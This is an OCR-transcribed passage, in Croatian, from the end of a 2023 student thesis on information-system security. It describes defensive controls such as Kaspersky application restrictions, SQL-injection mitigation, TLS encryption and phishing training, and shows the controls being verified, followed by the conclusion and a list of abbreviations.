reagirati u slu¢aju anomalija.

@ Network Monitor

Network activity
4 13.77K8/s
1128 KB/s

Open ports
n
Network traffic

4 120.70 MB
1 674.83KB

Blocked computers

0

Network activity

Application

v [@] Search the web and...

[@] Search the web a...

[®] Search the web a...

[@] Search the web a...

[@] Search the web a...

[@) Search the web a...

[®@] Search the web a...

[®] Search the web a...

[@] Search the web a...

Process ID

4580

4580

4580

4580

4580

4580

4580

4580

4580

Block all network activity

Protoc... LocallPa.. External IP... Loc...

5 TGP 192.168.12.. 95.101.23.99 51546

». TCP 192.168.12..  13.107.237... 51547

., TEP 192.168.12...  204.79.197... 51548

. TCP 192.168.12... 88.221.92.52 51550

i TCR 192.168.12... 88.221.9252 51549
.. | TGP 192.168.12... 88.221.92.52 51551

A [ 2 192.168.12.. 88.221.92.52 51552
s TGP 192.168.12... 88.221.92.52 51554

View ~
Re... Du..
443 00:...
443 00:...
80 00....
443 00:...
443 00:...
443 00:...
443 00:...
443 00:...
M Received 13

. Received

0.18 KB/s

0.04 KB/s

0.01 KB/s

0.00 KB/s

0.00 KB/s

0.09 KB/s

0.00 KB/s

0.00 KB/s

0.00 KB/s

o X

®
Sent

0.21 KB/s
0.19 KB/s
0.00 KB/s
0.00 KB/s
0.00 KB/s
0.00 KB/s
0.00 KB/s
0.00 KB/s

0.00 KB/s

77 KB/s M Sent 1.28 KB/s

Slika 39 Funkcija za pracenje mrezne aktivnosti

Takoder postoji funkcija za upravljanje programima te postavljanje restrikcija na iste. Time

se primjerice moZe postaviti pravilo da internet pretrazivaC kao Sto je Mozilla Firefox,

nema moguénost pristupa niti jednoj internet stranici osim sadrzaju lokalne mreze. Tako ¢e

se omoguciti samo pristup serveru za slanje i primanje elektronicke poste ili lokalnim

intranet stranicama.
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o Manage applications — (3] X

Clean up View @
Restrictions Start

Application Restrictions Popularity Start Network

Trusted

> VMWARE

> KASPERSKY LAB

> KASPERSKY LAB JSC

> MICROSOFT
MOZILLA

@ Firefox

22000 @ -Alowe

Low Restricted
High Restricted

> Untrusted .
Slika 40 Kaspersky upravljanje aplikacijama

Kako SQL injection napad nije demonstriran na lokalnoj internet stranici, ve¢ na javnoj
stranici za testiranje te vrste napada, nece biti implementirana sigurnosna kontrola koja ima
moguénost obrane od takvih napada. SQL injection napadi su najuspijesniji kada se radi o
internet stranicama s ranjivim kodom. Takve ranjivosti je najefektivnije zakrpati na razini
baze, koriStenjem strukture koja onemogucavaju koristenje ,,1=1 upita, koji ¢e prevariti
bazu, spremljenih procedura umjesto dinamckih, onemogucavanje prava neautoriziranim
korisnicima i sli¢cnim metodama koje ¢e efektivno poboljsati sigurnost baze. SQL injection
napade je takoder moguce sprijeciti koriStenjem sustava koji skeniraju bazu i provjeravaju
postoje li ranjivosti na istoj, kako bi se Sto prije uocile slabe tocke u strukturi baze te
sprijecila moguca iskoriStavanja istih. Za kraj, jedno od najefektivnijih rjeSenja kod zastite
internet aplikacija je vatrozid. Aplikacijski vatrozid filtrira upite prema bazi, kako bi se svi

upiti koji se mogu iskoristiti u zlonamjerne svrhe potpuno odbacili.

Iako je velika vecina napada odradena pomocu nekog alata ili modifikacijom nekog dijela
sustava, ne smije se zaboraviti na to da su maliciozni programi dospijeli na zrtvino
racunalo, tako §to je ista bila pod utjecajem socijalnog inzinjeringa. Kako je ljudska greska
presudan faktor u napadima tog tipa, potrebno je implementirati i sigurnosne kontrole ¢ija
je primarna svrha minimizirati razinu ljudske greske i podloZnosti napadima socijalnog
inzinjeringa. Neke od kontrola koje bi trebale biti uvedene kako se ovakav incident ne bi

ponovio, su edukacije o phishing napadima i socijalnom inZinjeringu, edukacije o

39



postupanju sa sumnjivim mailovima, baratanju nesigurnim linkovima te uvodenje

multifaktorske autentikacije u sustave koji zahtjevaju pristupne podatke.

7.2. Provjera novih kontrola

Kako su sada postavljene nove sigurnosne kontrole te se razina sigurnosti insformacijskog
sustava znatno poboljsala, isti viSe nije podlozan napadima prikazanim u ovome radu.
Ukoliko napada¢ sada zapocne prisluskivati mrezu kako bi ponovio man-in-the-middle
napad, neée uspjeti procCitati sadrzaj paketa, s obzirom da se radi o prijenosu paketa

sigurnim HTTPS protokolom.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® s BB@ 2 ¢« »n «>EE ool
[WTip.addr==192.168.108.10

Time Source Destination Protocol Length Info
43 39.750959236  192.168.108.10 192.168.108.20 TLSVi.3 314 Client Hello
44 39.757569928 192.168.108.10 192.168.108.20 54 58534 . 443 [ACK] Seq=1 Ack=1 Win=262656 Len=0
45 39.757627676 192.168.108.10 192.168.108.20 54 58535 — 443 [ACK] S Ack=1 Win=262656 Len=0

48 39.757786291 192.168.108.20 192.168.108.10 TCcP 60 443 . 58535 [ACK] Seq=1 Ack=261 Win=64128 Len=0

49 39.757854479 192.168.108.20 192.168.108.10 TCcP 60 443 . 58534 [ACK] Seq=1 Ack=261 Win=64128 Len=0

50 39.758764676 192.168.108.20 192.168.108.10 TLSv1.3 1514 Server Hello, Change Cipher Spec, Application Data, Application Data
51 39.758764716 192.168.108.20 192.168.108.10 TLSV1.3 206 Application Data, Application Data

52 39.758764736 192.168.108.20 192.168.108.10 TLSv1.3 1514 Server Hello, Change Cipher Spec, Application Data, Application Data
53 39.758764756 192.168.108.20 192.168.108.10 TLSV1.3 206 Application Data, Application Data

54 39.766141004 192.168.108.20 192.168.108.10 TCcP 54 443 . 58535 [ACK] Seq=1 Ack=261 Win=64128 Len=0

Frame 43: 314 bytes on wire (2512 bits), 314 bytes captured (2512 bits) on interface ethi, id © 00 Oc 29 80 d8 44 00 6c 29 df 6b 47 08 00 4
Ethernet II, Src: VMware_df:6b:4 :29:df:6b:47), Dst: VMware_80:d8:44 (00:6¢ 0:d8:44) 01 2c 49 Ga 40 00 80 06 57 52 cO a8 6c Oa C
Internet Protocol Version 4, Src: 192.168.108.10, Dst: 192.168.108.20 6c 14 ed4 a6 01 bb e3 2b 7f a7 f4 7d 89 41 5
Transmission Control Protocol, Src Port: 58534, Dst Port: 443, Seq: 1, Ack: 1, Len: 260 64 02 9b Ge 00 00 16 03 01 00 ff 61 00 00 f
-~ Transport Layer Security 03 1e 6f 80 51 b7 b7 89 48 58 99 90 e1 31 3
~ TLSv1.3 Record Layer: Handshake Protocol: Client Hello 7e 4f 5d 56 32 fe ed 7f 3 96 c8 28 23 a6 b
Content Type: Handshake (22) ea 20 32 9e 13 le 20 4e a@ 26 32 5f 6d 03 b

50 ce 96 cf 82 95 fd e3 ee d2 a9 6¢c 6f 83 b
70 93 00 22 13 01 13 62 13 02 13 03 ¢cO 2b c
€O 2c cO 30 cc a9 cc a8 cO 13 cO 14 00 9c €

Version: TLS 1.0 (6x0301)
Length: 255

~ Handshake Protocol: Client Hello 00 2f 00 35 00 ff 01 00 00 90 00 Ob 00 04 €
Handshake Type: Client Hello (1) 01 62 00 Ga 00 68 60 66 00 1d 60 17 00 18 €
fongeniest 5 ©0 00 60 05 00 05 01 60 60 60 00 00 10 00 €
Version: TLS 1.2 (0x0303) 6c 02 68 32 08 68 74 74 70 2f 31 2e 31 00 1
Random: 1e6f8051b7b78948589990e13131d37e4f5d5632feed7fc396c82823a6bsbaea 00 00 17 00 00 00 0d 00 12 00 10 04 03 08 €
Session ID Length: 32 01 05 63 08 ©5 85 61 68 06 06 61 60 2b 00 €
Session ID: 329e131e204ea026325f6d03b52350ce96c8295Fde3eed2a96c6f83b3877093

Paketi su enkriptirani te nije moguce iz njih izvuéi nikakve informacije bez pokuSavanja
dekripcije istih.
Kod slucaja napada malware-om, pokazalo se kako je Kaspersky iznimno brzi te radi na

dubljoj razini analize sustava, nego Windows Defender te ¢e nakon detekcije malicioznog

softvera, isti potom izbrisati, kako bi $to prije onesposobio prijetnju.

@ Kaspersky Internet Security eee X

Object deleted
File: C:\Users\User\Downloads\travel.exe

Slika 41 Kaspersky brisanje prijetnje

S obzirom na to da alat konstantno prati sumnjive aktivnosti kroz internet pretrazivac, ima

sposobnost blokirati preuzimanje malicioznih programa.
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C O 8 192.168.108.129/tour-1.0.0/travel.exe o @

[«
(b
Il

kaspersky

*“S  Pprevented downloading of a dangerous object

Prevented downloading of a malicious file or other object designed to
infect your computer with malware that will slow it down, break the
system or lead to other problems.

You were protected from downloading this object by Kaspersky
security. You can close this window with no risk.

Slika 42 Kaspersky sprije¢avanje preuzimanja opasnog objekta

Na taj nacin, Cak i ako krajnji korisnik ne znaju¢i zapocne preuzimanje malicioznog

softvera, alat ¢e isto automatski onemoguciti.
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Zakljucak

U ovome radu objaSnjene su moguce vrste prijetnji ITC sustavima, vrste malicioznih
programa te metode detekcije i prevencije istih. Glavni fokus rada temeljio se na
prakticnom prikazu napada na mali informacijski sustav, koji je imao minimalne mjere
sigurnosti. Kroz demonstraciju napada, moze se uociti kako 1 naizgled bezopasne i
svakodnevne radnje poput pregleda internet stranice za rezervaciju putovanja, mogu imati
katastrofalne posljedice za informacijski sustav, ukoliko se ne provode s odredenom
mjerom opreza. Za kraj je prikazan oporavak sustava te implementacija i objaSnjenje

mogucih preventivnih metoda u svrhu mitigacije i sprijecenja buducih prijetnji.

U danasnjem svijetu modernog poslovanja, informacijska sigurnost je jedna od najbitnijih
komponenti svake organizacije. Unato¢ tome $to se metode prevencije i detekcije prijetn;ji
na sustave razvijaju iz dana u dan, metode napada na informacijske sustave nikada nisu
daleko iza njih te hakeri svakodnevno traze nove ranjivosti i nacine kako ih iskoristiti, u
svthu dohvacanja osjetljivih podataka, nanoSenja Stete organizaciji i ostale maliciozne

svrhe.

Iako su napadi na informacijski sustav u ovome radu uvelike pojednostavljeni, prijetnja od
podloznosti istima je veoma stvarna, te je pravilna edukacija o vaznosti pridrzavanja

sigurnosnih mjera unutar poslovne organizacije sve bitnija.
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,,Pod punom odgovornoséu pismeno potvrdujem da je ovo moj autorski rad ciji niti jedan
dio nije nastao kopiranjem ili plagiranjem tudeg sadrzaja. Prilikom izrade rada koristio
sam tude materijale navedene u popisu literature, ali nisam kopirao niti jedan njihov dio,
osim citata za koje sam naveo autora i izvor, te ih jasno oznacio znakovima navodnika. U
slucaju da se u bilo kojem trenutku dokaze suprotno, spreman sam snositi sve posljedice

ukljucivo i ponistenje javne isprave stecene dijelom i na temelju ovoga rada “.

U Zagrebu, 26.2.2023..
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Popis kratica

ICT Information and Communication Technologies
tehnologije

IMAP Internet Message Access Protocol
PHP  Hypertext Preprocessor

SMTP Simple Mail Transfer Protocol
POP  Post Office Protocol

SQL  Structured Query Language

DNS  Domain Name System

IoT Internet of Things

URL  Uniform Resource Locator

SMS  Short Messaging Service

DOS  Denial of Service

DDoS Distributed Denial of Service
RAT  Remote Access Trojan

IDS Intrusion Detection System

IPS Intrusion Prevention System

IAM  Identity Access Management

IP Internet Protocol

MAC Media Access Control

ARP  Address Resolution Protocol
MITM Man in the Middle

ID Identification

HTML HyperText Markup Language
CSS Cascading Style Sheets

HTTP Hypertext Transfer Protocol
HTTPS Hypertext Transfer Protocol Secure
protokol

SSL Secure Sockets Layer

TLS

Transport Layer Security

protokol za pristup internet porukama

hipertekstualni predprocesor

protokol za prijenos jednostavne poste

protokol postanskog ureda
strukturirani jezik upita

sustav domenskih imena

internet stvari

unificirani lokator objekata
servis kratkih poruka
uskracivanje usluge

distribuirano uskraéivanje usluge
trojanac udaljenog pristupa
sustav detekcije provala

sustav prevencije provala
upravljanje identitetom pristupa
internet protokol

kontrola pristupa mediju
protokol za razrijeSavanje adresa
covjek u sredini

identifikacija

hipertekstualni jezik biljeski
stranice kaskadnog stila
hipertekstualni prijenosni protokol

sigurni  hipertekstualni

sigurni sloj uti¢nica

sigurnost transportnog sloja

informacijske 1 komunikacijske

prijenosni
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